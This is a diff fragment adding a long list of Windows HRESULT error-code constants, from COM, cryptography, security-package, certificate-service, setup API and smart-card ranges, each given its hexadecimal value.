+CO_E_SCM_RPC_FAILURE                                         = 0x80080003
+CO_E_BAD_PATH                                                = 0x80080004
+CO_E_SERVER_EXEC_FAILURE                                     = 0x80080005
+CO_E_OBJSRV_RPC_FAILURE                                      = 0x80080006
+MK_E_NO_NORMALIZED                                           = 0x80080007
+CO_E_SERVER_STOPPING                                         = 0x80080008
+MEM_E_INVALID_ROOT                                           = 0x80080009
+MEM_E_INVALID_LINK                                           = 0x80080010
+MEM_E_INVALID_SIZE                                           = 0x80080011
+CO_E_MISSING_DISPLAYNAME                                     = 0x80080015
+CO_E_RUNAS_VALUE_MUST_BE_AAA                                 = 0x80080016
+CO_E_ELEVATION_DISABLED                                      = 0x80080017
+NTE_BAD_UID                                                  = 0x80090001
+NTE_BAD_HASH                                                 = 0x80090002
+NTE_BAD_KEY                                                  = 0x80090003
+NTE_BAD_LEN                                                  = 0x80090004
+NTE_BAD_DATA                                                 = 0x80090005
+NTE_BAD_SIGNATURE                                            = 0x80090006
+NTE_BAD_VER                                                  = 0x80090007
+NTE_BAD_ALGID                                                = 0x80090008
+NTE_BAD_FLAGS                                                = 0x80090009
+NTE_BAD_TYPE                                                 = 0x8009000A
+NTE_BAD_KEY_STATE                                            = 0x8009000B
+NTE_BAD_HASH_STATE                                           = 0x8009000C
+NTE_NO_KEY                                                   = 0x8009000D
+NTE_NO_MEMORY                                                = 0x8009000E
+NTE_EXISTS                                                   = 0x8009000F
+NTE_PERM                                                     = 0x80090010
+NTE_NOT_FOUND                                                = 0x80090011
+NTE_DOUBLE_ENCRYPT                                           = 0x80090012
+NTE_BAD_PROVIDER                                             = 0x80090013
+NTE_BAD_PROV_TYPE                                            = 0x80090014
+NTE_BAD_PUBLIC_KEY                                           = 0x80090015
+NTE_BAD_KEYSET                                               = 0x80090016
+NTE_PROV_TYPE_NOT_DEF                                        = 0x80090017
+NTE_PROV_TYPE_ENTRY_BAD                                      = 0x80090018
+NTE_KEYSET_NOT_DEF                                           = 0x80090019
+NTE_KEYSET_ENTRY_BAD                                         = 0x8009001A
+NTE_PROV_TYPE_NO_MATCH                                       = 0x8009001B
+NTE_SIGNATURE_FILE_BAD                                       = 0x8009001C
+NTE_PROVIDER_DLL_FAIL                                        = 0x8009001D
+NTE_PROV_DLL_NOT_FOUND                                       = 0x8009001E
+NTE_BAD_KEYSET_PARAM                                         = 0x8009001F
+NTE_FAIL                                                     = 0x80090020
+NTE_SYS_ERR                                                  = 0x80090021
+NTE_SILENT_CONTEXT                                           = 0x80090022
+NTE_TOKEN_KEYSET_STORAGE_FULL                                = 0x80090023
+NTE_TEMPORARY_PROFILE                                        = 0x80090024
+NTE_FIXEDPARAMETER                                           = 0x80090025
+NTE_INVALID_HANDLE                                           = 0x80090026
+NTE_INVALID_PARAMETER                                        = 0x80090027
+NTE_BUFFER_TOO_SMALL                                         = 0x80090028
+NTE_NOT_SUPPORTED                                            = 0x80090029
+NTE_NO_MORE_ITEMS                                            = 0x8009002A
+NTE_BUFFERS_OVERLAP                                          = 0x8009002B
+NTE_DECRYPTION_FAILURE                                       = 0x8009002C
+NTE_INTERNAL_ERROR                                           = 0x8009002D
+NTE_UI_REQUIRED                                              = 0x8009002E
+NTE_HMAC_NOT_SUPPORTED                                       = 0x8009002F
+SEC_E_INSUFFICIENT_MEMORY                                    = 0x80090300
+SEC_E_INVALID_HANDLE                                         = 0x80090301
+SEC_E_UNSUPPORTED_FUNCTION                                   = 0x80090302
+SEC_E_TARGET_UNKNOWN                                         = 0x80090303
+SEC_E_INTERNAL_ERROR                                         = 0x80090304
+SEC_E_SECPKG_NOT_FOUND                                       = 0x80090305
+SEC_E_NOT_OWNER                                              = 0x80090306
+SEC_E_CANNOT_INSTALL                                         = 0x80090307
+SEC_E_INVALID_TOKEN                                          = 0x80090308
+SEC_E_CANNOT_PACK                                            = 0x80090309
+SEC_E_QOP_NOT_SUPPORTED                                      = 0x8009030A
+SEC_E_NO_IMPERSONATION                                       = 0x8009030B
+SEC_E_LOGON_DENIED                                           = 0x8009030C
+SEC_E_UNKNOWN_CREDENTIALS                                    = 0x8009030D
+SEC_E_NO_CREDENTIALS                                         = 0x8009030E
+SEC_E_MESSAGE_ALTERED                                        = 0x8009030F
+SEC_E_OUT_OF_SEQUENCE                                        = 0x80090310
+SEC_E_NO_AUTHENTICATING_AUTHORITY                            = 0x80090311
+SEC_E_BAD_PKGID                                              = 0x80090316
+SEC_E_CONTEXT_EXPIRED                                        = 0x80090317
+SEC_E_INCOMPLETE_MESSAGE                                     = 0x80090318
+SEC_E_INCOMPLETE_CREDENTIALS                                 = 0x80090320
+SEC_E_BUFFER_TOO_SMALL                                       = 0x80090321
+SEC_E_WRONG_PRINCIPAL                                        = 0x80090322
+SEC_E_TIME_SKEW                                              = 0x80090324
+SEC_E_UNTRUSTED_ROOT                                         = 0x80090325
+SEC_E_ILLEGAL_MESSAGE                                        = 0x80090326
+SEC_E_CERT_UNKNOWN                                           = 0x80090327
+SEC_E_CERT_EXPIRED                                           = 0x80090328
+SEC_E_ENCRYPT_FAILURE                                        = 0x80090329
+SEC_E_DECRYPT_FAILURE                                        = 0x80090330
+SEC_E_ALGORITHM_MISMATCH                                     = 0x80090331
+SEC_E_SECURITY_QOS_FAILED                                    = 0x80090332
+SEC_E_UNFINISHED_CONTEXT_DELETED                             = 0x80090333
+SEC_E_NO_TGT_REPLY                                           = 0x80090334
+SEC_E_NO_IP_ADDRESSES                                        = 0x80090335
+SEC_E_WRONG_CREDENTIAL_HANDLE                                = 0x80090336
+SEC_E_CRYPTO_SYSTEM_INVALID                                  = 0x80090337
+SEC_E_MAX_REFERRALS_EXCEEDED                                 = 0x80090338
+SEC_E_MUST_BE_KDC                                            = 0x80090339
+SEC_E_STRONG_CRYPTO_NOT_SUPPORTED                            = 0x8009033A
+SEC_E_TOO_MANY_PRINCIPALS                                    = 0x8009033B
+SEC_E_NO_PA_DATA                                             = 0x8009033C
+SEC_E_PKINIT_NAME_MISMATCH                                   = 0x8009033D
+SEC_E_SMARTCARD_LOGON_REQUIRED                               = 0x8009033E
+SEC_E_SHUTDOWN_IN_PROGRESS                                   = 0x8009033F
+SEC_E_KDC_INVALID_REQUEST                                    = 0x80090340
+SEC_E_KDC_UNABLE_TO_REFER                                    = 0x80090341
+SEC_E_KDC_UNKNOWN_ETYPE                                      = 0x80090342
+SEC_E_UNSUPPORTED_PREAUTH                                    = 0x80090343
+SEC_E_DELEGATION_REQUIRED                                    = 0x80090345
+SEC_E_BAD_BINDINGS                                           = 0x80090346
+SEC_E_MULTIPLE_ACCOUNTS                                      = 0x80090347
+SEC_E_NO_KERB_KEY                                            = 0x80090348
+SEC_E_CERT_WRONG_USAGE                                       = 0x80090349
+SEC_E_DOWNGRADE_DETECTED                                     = 0x80090350
+SEC_E_SMARTCARD_CERT_REVOKED                                 = 0x80090351
+SEC_E_ISSUING_CA_UNTRUSTED                                   = 0x80090352
+SEC_E_REVOCATION_OFFLINE_C                                   = 0x80090353
+SEC_E_PKINIT_CLIENT_FAILURE                                  = 0x80090354
+SEC_E_SMARTCARD_CERT_EXPIRED                                 = 0x80090355
+SEC_E_NO_S4U_PROT_SUPPORT                                    = 0x80090356
+SEC_E_CROSSREALM_DELEGATION_FAILURE                          = 0x80090357
+SEC_E_REVOCATION_OFFLINE_KDC                                 = 0x80090358
+SEC_E_ISSUING_CA_UNTRUSTED_KDC                               = 0x80090359
+SEC_E_KDC_CERT_EXPIRED                                       = 0x8009035A
+SEC_E_KDC_CERT_REVOKED                                       = 0x8009035B
+SEC_E_INVALID_PARAMETER                                      = 0x8009035D
+SEC_E_DELEGATION_POLICY                                      = 0x8009035E
+SEC_E_POLICY_NLTM_ONLY                                       = 0x8009035F
+CRYPT_E_MSG_ERROR                                            = 0x80091001
+CRYPT_E_UNKNOWN_ALGO                                         = 0x80091002
+CRYPT_E_OID_FORMAT                                           = 0x80091003
+CRYPT_E_INVALID_MSG_TYPE                                     = 0x80091004
+CRYPT_E_UNEXPECTED_ENCODING                                  = 0x80091005
+CRYPT_E_AUTH_ATTR_MISSING                                    = 0x80091006
+CRYPT_E_HASH_VALUE                                           = 0x80091007
+CRYPT_E_INVALID_INDEX                                        = 0x80091008
+CRYPT_E_ALREADY_DECRYPTED                                    = 0x80091009
+CRYPT_E_NOT_DECRYPTED                                        = 0x8009100A
+CRYPT_E_RECIPIENT_NOT_FOUND                                  = 0x8009100B
+CRYPT_E_CONTROL_TYPE                                         = 0x8009100C
+CRYPT_E_ISSUER_SERIALNUMBER                                  = 0x8009100D
+CRYPT_E_SIGNER_NOT_FOUND                                     = 0x8009100E
+CRYPT_E_ATTRIBUTES_MISSING                                   = 0x8009100F
+CRYPT_E_STREAM_MSG_NOT_READY                                 = 0x80091010
+CRYPT_E_STREAM_INSUFFICIENT_DATA                             = 0x80091011
+CRYPT_E_BAD_LEN                                              = 0x80092001
+CRYPT_E_BAD_ENCODE                                           = 0x80092002
+CRYPT_E_FILE_ERROR                                           = 0x80092003
+CRYPT_E_NOT_FOUND                                            = 0x80092004
+CRYPT_E_EXISTS                                               = 0x80092005
+CRYPT_E_NO_PROVIDER                                          = 0x80092006
+CRYPT_E_SELF_SIGNED                                          = 0x80092007
+CRYPT_E_DELETED_PREV                                         = 0x80092008
+CRYPT_E_NO_MATCH                                             = 0x80092009
+CRYPT_E_UNEXPECTED_MSG_TYPE                                  = 0x8009200A
+CRYPT_E_NO_KEY_PROPERTY                                      = 0x8009200B
+CRYPT_E_NO_DECRYPT_CERT                                      = 0x8009200C
+CRYPT_E_BAD_MSG                                              = 0x8009200D
+CRYPT_E_NO_SIGNER                                            = 0x8009200E
+CRYPT_E_PENDING_CLOSE                                        = 0x8009200F
+CRYPT_E_REVOKED                                              = 0x80092010
+CRYPT_E_NO_REVOCATION_DLL                                    = 0x80092011
+CRYPT_E_NO_REVOCATION_CHECK                                  = 0x80092012
+CRYPT_E_REVOCATION_OFFLINE                                   = 0x80092013
+CRYPT_E_NOT_IN_REVOCATION_DATABASE                           = 0x80092014
+CRYPT_E_INVALID_NUMERIC_STRING                               = 0x80092020
+CRYPT_E_INVALID_PRINTABLE_STRING                             = 0x80092021
+CRYPT_E_INVALID_IA5_STRING                                   = 0x80092022
+CRYPT_E_INVALID_X500_STRING                                  = 0x80092023
+CRYPT_E_NOT_CHAR_STRING                                      = 0x80092024
+CRYPT_E_FILERESIZED                                          = 0x80092025
+CRYPT_E_SECURITY_SETTINGS                                    = 0x80092026
+CRYPT_E_NO_VERIFY_USAGE_DLL                                  = 0x80092027
+CRYPT_E_NO_VERIFY_USAGE_CHECK                                = 0x80092028
+CRYPT_E_VERIFY_USAGE_OFFLINE                                 = 0x80092029
+CRYPT_E_NOT_IN_CTL                                           = 0x8009202A
+CRYPT_E_NO_TRUSTED_SIGNER                                    = 0x8009202B
+CRYPT_E_MISSING_PUBKEY_PARA                                  = 0x8009202C
+CRYPT_E_OSS_ERROR                                            = 0x80093000
+OSS_MORE_BUF                                                 = 0x80093001
+OSS_NEGATIVE_UINTEGER                                        = 0x80093002
+OSS_PDU_RANGE                                                = 0x80093003
+OSS_MORE_INPUT                                               = 0x80093004
+OSS_DATA_ERROR                                               = 0x80093005
+OSS_BAD_ARG                                                  = 0x80093006
+OSS_BAD_VERSION                                              = 0x80093007
+OSS_OUT_MEMORY                                               = 0x80093008
+OSS_PDU_MISMATCH                                             = 0x80093009
+OSS_LIMITED                                                  = 0x8009300A
+OSS_BAD_PTR                                                  = 0x8009300B
+OSS_BAD_TIME                                                 = 0x8009300C
+OSS_INDEFINITE_NOT_SUPPORTED                                 = 0x8009300D
+OSS_MEM_ERROR                                                = 0x8009300E
+OSS_BAD_TABLE                                                = 0x8009300F
+OSS_TOO_LONG                                                 = 0x80093010
+OSS_CONSTRAINT_VIOLATED                                      = 0x80093011
+OSS_FATAL_ERROR                                              = 0x80093012
+OSS_ACCESS_SERIALIZATION_ERROR                               = 0x80093013
+OSS_NULL_TBL                                                 = 0x80093014
+OSS_NULL_FCN                                                 = 0x80093015
+OSS_BAD_ENCRULES                                             = 0x80093016
+OSS_UNAVAIL_ENCRULES                                         = 0x80093017
+OSS_CANT_OPEN_TRACE_WINDOW                                   = 0x80093018
+OSS_UNIMPLEMENTED                                            = 0x80093019
+OSS_OID_DLL_NOT_LINKED                                       = 0x8009301A
+OSS_CANT_OPEN_TRACE_FILE                                     = 0x8009301B
+OSS_TRACE_FILE_ALREADY_OPEN                                  = 0x8009301C
+OSS_TABLE_MISMATCH                                           = 0x8009301D
+OSS_TYPE_NOT_SUPPORTED                                       = 0x8009301E
+OSS_REAL_DLL_NOT_LINKED                                      = 0x8009301F
+OSS_REAL_CODE_NOT_LINKED                                     = 0x80093020
+OSS_OUT_OF_RANGE                                             = 0x80093021
+OSS_COPIER_DLL_NOT_LINKED                                    = 0x80093022
+OSS_CONSTRAINT_DLL_NOT_LINKED                                = 0x80093023
+OSS_COMPARATOR_DLL_NOT_LINKED                                = 0x80093024
+OSS_COMPARATOR_CODE_NOT_LINKED                               = 0x80093025
+OSS_MEM_MGR_DLL_NOT_LINKED                                   = 0x80093026
+OSS_PDV_DLL_NOT_LINKED                                       = 0x80093027
+OSS_PDV_CODE_NOT_LINKED                                      = 0x80093028
+OSS_API_DLL_NOT_LINKED                                       = 0x80093029
+OSS_BERDER_DLL_NOT_LINKED                                    = 0x8009302A
+OSS_PER_DLL_NOT_LINKED                                       = 0x8009302B
+OSS_OPEN_TYPE_ERROR                                          = 0x8009302C
+OSS_MUTEX_NOT_CREATED                                        = 0x8009302D
+OSS_CANT_CLOSE_TRACE_FILE                                    = 0x8009302E
+CRYPT_E_ASN1_ERROR                                           = 0x80093100
+CRYPT_E_ASN1_INTERNAL                                        = 0x80093101
+CRYPT_E_ASN1_EOD                                             = 0x80093102
+CRYPT_E_ASN1_CORRUPT                                         = 0x80093103
+CRYPT_E_ASN1_LARGE                                           = 0x80093104
+CRYPT_E_ASN1_CONSTRAINT                                      = 0x80093105
+CRYPT_E_ASN1_MEMORY                                          = 0x80093106
+CRYPT_E_ASN1_OVERFLOW                                        = 0x80093107
+CRYPT_E_ASN1_BADPDU                                          = 0x80093108
+CRYPT_E_ASN1_BADARGS                                         = 0x80093109
+CRYPT_E_ASN1_BADREAL                                         = 0x8009310A
+CRYPT_E_ASN1_BADTAG                                          = 0x8009310B
+CRYPT_E_ASN1_CHOICE                                          = 0x8009310C
+CRYPT_E_ASN1_RULE                                            = 0x8009310D
+CRYPT_E_ASN1_UTF8                                            = 0x8009310E
+CRYPT_E_ASN1_PDU_TYPE                                        = 0x80093133
+CRYPT_E_ASN1_NYI                                             = 0x80093134
+CRYPT_E_ASN1_EXTENDED                                        = 0x80093201
+CRYPT_E_ASN1_NOEOD                                           = 0x80093202
+CERTSRV_E_BAD_REQUESTSUBJECT                                 = 0x80094001
+CERTSRV_E_NO_REQUEST                                         = 0x80094002
+CERTSRV_E_BAD_REQUESTSTATUS                                  = 0x80094003
+CERTSRV_E_PROPERTY_EMPTY                                     = 0x80094004
+CERTSRV_E_INVALID_CA_CERTIFICATE                             = 0x80094005
+CERTSRV_E_SERVER_SUSPENDED                                   = 0x80094006
+CERTSRV_E_ENCODING_LENGTH                                    = 0x80094007
+CERTSRV_E_ROLECONFLICT                                       = 0x80094008
+CERTSRV_E_RESTRICTEDOFFICER                                  = 0x80094009
+CERTSRV_E_KEY_ARCHIVAL_NOT_CONFIGURED                        = 0x8009400A
+CERTSRV_E_NO_VALID_KRA                                       = 0x8009400B
+CERTSRV_E_BAD_REQUEST_KEY_ARCHIVAL                           = 0x8009400C
+CERTSRV_E_NO_CAADMIN_DEFINED                                 = 0x8009400D
+CERTSRV_E_BAD_RENEWAL_CERT_ATTRIBUTE                         = 0x8009400E
+CERTSRV_E_NO_DB_SESSIONS                                     = 0x8009400F
+CERTSRV_E_ALIGNMENT_FAULT                                    = 0x80094010
+CERTSRV_E_ENROLL_DENIED                                      = 0x80094011
+CERTSRV_E_TEMPLATE_DENIED                                    = 0x80094012
+CERTSRV_E_DOWNLEVEL_DC_SSL_OR_UPGRADE                        = 0x80094013
+CERTSRV_E_UNSUPPORTED_CERT_TYPE                              = 0x80094800
+CERTSRV_E_NO_CERT_TYPE                                       = 0x80094801
+CERTSRV_E_TEMPLATE_CONFLICT                                  = 0x80094802
+CERTSRV_E_SUBJECT_ALT_NAME_REQUIRED                          = 0x80094803
+CERTSRV_E_ARCHIVED_KEY_REQUIRED                              = 0x80094804
+CERTSRV_E_SMIME_REQUIRED                                     = 0x80094805
+CERTSRV_E_BAD_RENEWAL_SUBJECT                                = 0x80094806
+CERTSRV_E_BAD_TEMPLATE_VERSION                               = 0x80094807
+CERTSRV_E_TEMPLATE_POLICY_REQUIRED                           = 0x80094808
+CERTSRV_E_SIGNATURE_POLICY_REQUIRED                          = 0x80094809
+CERTSRV_E_SIGNATURE_COUNT                                    = 0x8009480A
+CERTSRV_E_SIGNATURE_REJECTED                                 = 0x8009480B
+CERTSRV_E_ISSUANCE_POLICY_REQUIRED                           = 0x8009480C
+CERTSRV_E_SUBJECT_UPN_REQUIRED                               = 0x8009480D
+CERTSRV_E_SUBJECT_DIRECTORY_GUID_REQUIRED                    = 0x8009480E
+CERTSRV_E_SUBJECT_DNS_REQUIRED                               = 0x8009480F
+CERTSRV_E_ARCHIVED_KEY_UNEXPECTED                            = 0x80094810
+CERTSRV_E_KEY_LENGTH                                         = 0x80094811
+CERTSRV_E_SUBJECT_EMAIL_REQUIRED                             = 0x80094812
+CERTSRV_E_UNKNOWN_CERT_TYPE                                  = 0x80094813
+CERTSRV_E_CERT_TYPE_OVERLAP                                  = 0x80094814
+CERTSRV_E_TOO_MANY_SIGNATURES                                = 0x80094815
+CERTSRV_E_RENEWAL_BAD_PUBLIC_KEY                             = 0x80094816
+CERTSRV_E_INVALID_EK                                         = 0x80094817
+CERTSRV_E_KEY_ATTESTATION                                    = 0x8009481A
+XENROLL_E_KEY_NOT_EXPORTABLE                                 = 0x80095000
+XENROLL_E_CANNOT_ADD_ROOT_CERT                               = 0x80095001
+XENROLL_E_RESPONSE_KA_HASH_NOT_FOUND                         = 0x80095002
+XENROLL_E_RESPONSE_UNEXPECTED_KA_HASH                        = 0x80095003
+XENROLL_E_RESPONSE_KA_HASH_MISMATCH                          = 0x80095004
+XENROLL_E_KEYSPEC_SMIME_MISMATCH                             = 0x80095005
+TRUST_E_SYSTEM_ERROR                                         = 0x80096001
+TRUST_E_NO_SIGNER_CERT                                       = 0x80096002
+TRUST_E_COUNTER_SIGNER                                       = 0x80096003
+TRUST_E_CERT_SIGNATURE                                       = 0x80096004
+TRUST_E_TIME_STAMP                                           = 0x80096005
+TRUST_E_BAD_DIGEST                                           = 0x80096010
+TRUST_E_BASIC_CONSTRAINTS                                    = 0x80096019
+TRUST_E_FINANCIAL_CRITERIA                                   = 0x8009601E
+MSSIPOTF_E_OUTOFMEMRANGE                                     = 0x80097001
+MSSIPOTF_E_CANTGETOBJECT                                     = 0x80097002
+MSSIPOTF_E_NOHEADTABLE                                       = 0x80097003
+MSSIPOTF_E_BAD_MAGICNUMBER                                   = 0x80097004
+MSSIPOTF_E_BAD_OFFSET_TABLE                                  = 0x80097005
+MSSIPOTF_E_TABLE_TAGORDER                                    = 0x80097006
+MSSIPOTF_E_TABLE_LONGWORD                                    = 0x80097007
+MSSIPOTF_E_BAD_FIRST_TABLE_PLACEMENT                         = 0x80097008
+MSSIPOTF_E_TABLES_OVERLAP                                    = 0x80097009
+MSSIPOTF_E_TABLE_PADBYTES                                    = 0x8009700A
+MSSIPOTF_E_FILETOOSMALL                                      = 0x8009700B
+MSSIPOTF_E_TABLE_CHECKSUM                                    = 0x8009700C
+MSSIPOTF_E_FILE_CHECKSUM                                     = 0x8009700D
+MSSIPOTF_E_FAILED_POLICY                                     = 0x80097010
+MSSIPOTF_E_FAILED_HINTS_CHECK                                = 0x80097011
+MSSIPOTF_E_NOT_OPENTYPE                                      = 0x80097012
+MSSIPOTF_E_FILE                                              = 0x80097013
+MSSIPOTF_E_CRYPT                                             = 0x80097014
+MSSIPOTF_E_BADVERSION                                        = 0x80097015
+MSSIPOTF_E_DSIG_STRUCTURE                                    = 0x80097016
+MSSIPOTF_E_PCONST_CHECK                                      = 0x80097017
+MSSIPOTF_E_STRUCTURE                                         = 0x80097018
+ERROR_CRED_REQUIRES_CONFIRMATION                             = 0x80097019
+TRUST_E_PROVIDER_UNKNOWN                                     = 0x800B0001
+TRUST_E_ACTION_UNKNOWN                                       = 0x800B0002
+TRUST_E_SUBJECT_FORM_UNKNOWN                                 = 0x800B0003
+TRUST_E_SUBJECT_NOT_TRUSTED                                  = 0x800B0004
+DIGSIG_E_ENCODE                                              = 0x800B0005
+DIGSIG_E_DECODE                                              = 0x800B0006
+DIGSIG_E_EXTENSIBILITY                                       = 0x800B0007
+DIGSIG_E_CRYPTO                                              = 0x800B0008
+PERSIST_E_SIZEDEFINITE                                       = 0x800B0009
+PERSIST_E_SIZEINDEFINITE                                     = 0x800B000A
+PERSIST_E_NOTSELFSIZING                                      = 0x800B000B
+TRUST_E_NOSIGNATURE                                          = 0x800B0100
+CERT_E_EXPIRED                                               = 0x800B0101
+CERT_E_VALIDITYPERIODNESTING                                 = 0x800B0102
+CERT_E_ROLE                                                  = 0x800B0103
+CERT_E_PATHLENCONST                                          = 0x800B0104
+CERT_E_CRITICAL                                              = 0x800B0105
+CERT_E_PURPOSE                                               = 0x800B0106
+CERT_E_ISSUERCHAINING                                        = 0x800B0107
+CERT_E_MALFORMED                                             = 0x800B0108
+CERT_E_UNTRUSTEDROOT                                         = 0x800B0109
+CERT_E_CHAINING                                              = 0x800B010A
+TRUST_E_FAIL                                                 = 0x800B010B
+CERT_E_REVOKED                                               = 0x800B010C
+CERT_E_UNTRUSTEDTESTROOT                                     = 0x800B010D
+CERT_E_REVOCATION_FAILURE                                    = 0x800B010E
+CERT_E_CN_NO_MATCH                                           = 0x800B010F
+CERT_E_WRONG_USAGE                                           = 0x800B0110
+TRUST_E_EXPLICIT_DISTRUST                                    = 0x800B0111
+CERT_E_UNTRUSTEDCA                                           = 0x800B0112
+CERT_E_INVALID_POLICY                                        = 0x800B0113
+CERT_E_INVALID_NAME                                          = 0x800B0114
+NS_W_SERVER_BANDWIDTH_LIMIT                                  = 0x800D0003
+NS_W_FILE_BANDWIDTH_LIMIT                                    = 0x800D0004
+NS_W_UNKNOWN_EVENT                                           = 0x800D0060
+NS_I_CATATONIC_FAILURE                                       = 0x800D0199
+NS_I_CATATONIC_AUTO_UNFAIL                                   = 0x800D019A
+SPAPI_E_EXPECTED_SECTION_NAME                                = 0x800F0000
+SPAPI_E_BAD_SECTION_NAME_LINE                                = 0x800F0001
+SPAPI_E_SECTION_NAME_TOO_LONG                                = 0x800F0002
+SPAPI_E_GENERAL_SYNTAX                                       = 0x800F0003
+SPAPI_E_WRONG_INF_STYLE                                      = 0x800F0100
+SPAPI_E_SECTION_NOT_FOUND                                    = 0x800F0101
+SPAPI_E_LINE_NOT_FOUND                                       = 0x800F0102
+SPAPI_E_NO_BACKUP                                            = 0x800F0103
+SPAPI_E_NO_ASSOCIATED_CLASS                                  = 0x800F0200
+SPAPI_E_CLASS_MISMATCH                                       = 0x800F0201
+SPAPI_E_DUPLICATE_FOUND                                      = 0x800F0202
+SPAPI_E_NO_DRIVER_SELECTED                                   = 0x800F0203
+SPAPI_E_KEY_DOES_NOT_EXIST                                   = 0x800F0204
+SPAPI_E_INVALID_DEVINST_NAME                                 = 0x800F0205
+SPAPI_E_INVALID_CLASS                                        = 0x800F0206
+SPAPI_E_DEVINST_ALREADY_EXISTS                               = 0x800F0207
+SPAPI_E_DEVINFO_NOT_REGISTERED                               = 0x800F0208
+SPAPI_E_INVALID_REG_PROPERTY                                 = 0x800F0209
+SPAPI_E_NO_INF                                               = 0x800F020A
+SPAPI_E_NO_SUCH_DEVINST                                      = 0x800F020B
+SPAPI_E_CANT_LOAD_CLASS_ICON                                 = 0x800F020C
+SPAPI_E_INVALID_CLASS_INSTALLER                              = 0x800F020D
+SPAPI_E_DI_DO_DEFAULT                                        = 0x800F020E
+SPAPI_E_DI_NOFILECOPY                                        = 0x800F020F
+SPAPI_E_INVALID_HWPROFILE                                    = 0x800F0210
+SPAPI_E_NO_DEVICE_SELECTED                                   = 0x800F0211
+SPAPI_E_DEVINFO_LIST_LOCKED                                  = 0x800F0212
+SPAPI_E_DEVINFO_DATA_LOCKED                                  = 0x800F0213
+SPAPI_E_DI_BAD_PATH                                          = 0x800F0214
+SPAPI_E_NO_CLASSINSTALL_PARAMS                               = 0x800F0215
+SPAPI_E_FILEQUEUE_LOCKED                                     = 0x800F0216
+SPAPI_E_BAD_SERVICE_INSTALLSECT                              = 0x800F0217
+SPAPI_E_NO_CLASS_DRIVER_LIST                                 = 0x800F0218
+SPAPI_E_NO_ASSOCIATED_SERVICE                                = 0x800F0219
+SPAPI_E_NO_DEFAULT_DEVICE_INTERFACE                          = 0x800F021A
+SPAPI_E_DEVICE_INTERFACE_ACTIVE                              = 0x800F021B
+SPAPI_E_DEVICE_INTERFACE_REMOVED                             = 0x800F021C
+SPAPI_E_BAD_INTERFACE_INSTALLSECT                            = 0x800F021D
+SPAPI_E_NO_SUCH_INTERFACE_CLASS                              = 0x800F021E
+SPAPI_E_INVALID_REFERENCE_STRING                             = 0x800F021F
+SPAPI_E_INVALID_MACHINENAME                                  = 0x800F0220
+SPAPI_E_REMOTE_COMM_FAILURE                                  = 0x800F0221
+SPAPI_E_MACHINE_UNAVAILABLE                                  = 0x800F0222
+SPAPI_E_NO_CONFIGMGR_SERVICES                                = 0x800F0223
+SPAPI_E_INVALID_PROPPAGE_PROVIDER                            = 0x800F0224
+SPAPI_E_NO_SUCH_DEVICE_INTERFACE                             = 0x800F0225
+SPAPI_E_DI_POSTPROCESSING_REQUIRED                           = 0x800F0226
+SPAPI_E_INVALID_COINSTALLER                                  = 0x800F0227
+SPAPI_E_NO_COMPAT_DRIVERS                                    = 0x800F0228
+SPAPI_E_NO_DEVICE_ICON                                       = 0x800F0229
+SPAPI_E_INVALID_INF_LOGCONFIG                                = 0x800F022A
+SPAPI_E_DI_DONT_INSTALL                                      = 0x800F022B
+SPAPI_E_INVALID_FILTER_DRIVER                                = 0x800F022C
+SPAPI_E_NON_WINDOWS_NT_DRIVER                                = 0x800F022D
+SPAPI_E_NON_WINDOWS_DRIVER                                   = 0x800F022E
+SPAPI_E_NO_CATALOG_FOR_OEM_INF                               = 0x800F022F
+SPAPI_E_DEVINSTALL_QUEUE_NONNATIVE                           = 0x800F0230
+SPAPI_E_NOT_DISABLEABLE                                      = 0x800F0231
+SPAPI_E_CANT_REMOVE_DEVINST                                  = 0x800F0232
+SPAPI_E_INVALID_TARGET                                       = 0x800F0233
+SPAPI_E_DRIVER_NONNATIVE                                     = 0x800F0234
+SPAPI_E_IN_WOW64                                             = 0x800F0235
+SPAPI_E_SET_SYSTEM_RESTORE_POINT                             = 0x800F0236
+SPAPI_E_INCORRECTLY_COPIED_INF                               = 0x800F0237
+SPAPI_E_SCE_DISABLED                                         = 0x800F0238
+SPAPI_E_UNKNOWN_EXCEPTION                                    = 0x800F0239
+SPAPI_E_PNP_REGISTRY_ERROR                                   = 0x800F023A
+SPAPI_E_REMOTE_REQUEST_UNSUPPORTED                           = 0x800F023B
+SPAPI_E_NOT_AN_INSTALLED_OEM_INF                             = 0x800F023C
+SPAPI_E_INF_IN_USE_BY_DEVICES                                = 0x800F023D
+SPAPI_E_DI_FUNCTION_OBSOLETE                                 = 0x800F023E
+SPAPI_E_NO_AUTHENTICODE_CATALOG                              = 0x800F023F
+SPAPI_E_AUTHENTICODE_DISALLOWED                              = 0x800F0240
+SPAPI_E_AUTHENTICODE_TRUSTED_PUBLISHER                       = 0x800F0241
+SPAPI_E_AUTHENTICODE_TRUST_NOT_ESTABLISHED                   = 0x800F0242
+SPAPI_E_AUTHENTICODE_PUBLISHER_NOT_TRUSTED                   = 0x800F0243
+SPAPI_E_SIGNATURE_OSATTRIBUTE_MISMATCH                       = 0x800F0244
+SPAPI_E_ONLY_VALIDATE_VIA_AUTHENTICODE                       = 0x800F0245
+SPAPI_E_DEVICE_INSTALLER_NOT_READY                           = 0x800F0246
+SPAPI_E_DRIVER_STORE_ADD_FAILED                              = 0x800F0247
+SPAPI_E_DEVICE_INSTALL_BLOCKED                               = 0x800F0248
+SPAPI_E_DRIVER_INSTALL_BLOCKED                               = 0x800F0249
+SPAPI_E_WRONG_INF_TYPE                                       = 0x800F024A
+SPAPI_E_FILE_HASH_NOT_IN_CATALOG                             = 0x800F024B
+SPAPI_E_DRIVER_STORE_DELETE_FAILED                           = 0x800F024C
+SPAPI_E_UNRECOVERABLE_STACK_OVERFLOW                         = 0x800F0300
+SPAPI_E_ERROR_NOT_INSTALLED                                  = 0x800F1000
+SCARD_F_INTERNAL_ERROR                                       = 0x80100001
+SCARD_E_CANCELLED                                            = 0x80100002
+SCARD_E_INVALID_HANDLE                                       = 0x80100003
+SCARD_E_INVALID_PARAMETER                                    = 0x80100004
+SCARD_E_INVALID_TARGET                                       = 0x80100005
+SCARD_E_NO_MEMORY                                            = 0x80100006
+SCARD_F_WAITED_TOO_LONG                                      = 0x80100007
+SCARD_E_INSUFFICIENT_BUFFER                                  = 0x80100008
+SCARD_E_UNKNOWN_READER                                       = 0x80100009
+SCARD_E_TIMEOUT                                              = 0x8010000A
+SCARD_E_SHARING_VIOLATION                                    = 0x8010000B
+SCARD_E_NO_SMARTCARD                                         = 0x8010000C
+SCARD_E_UNKNOWN_CARD                                         = 0x8010000D
+SCARD_E_CANT_DISPOSE                                         = 0x8010000E
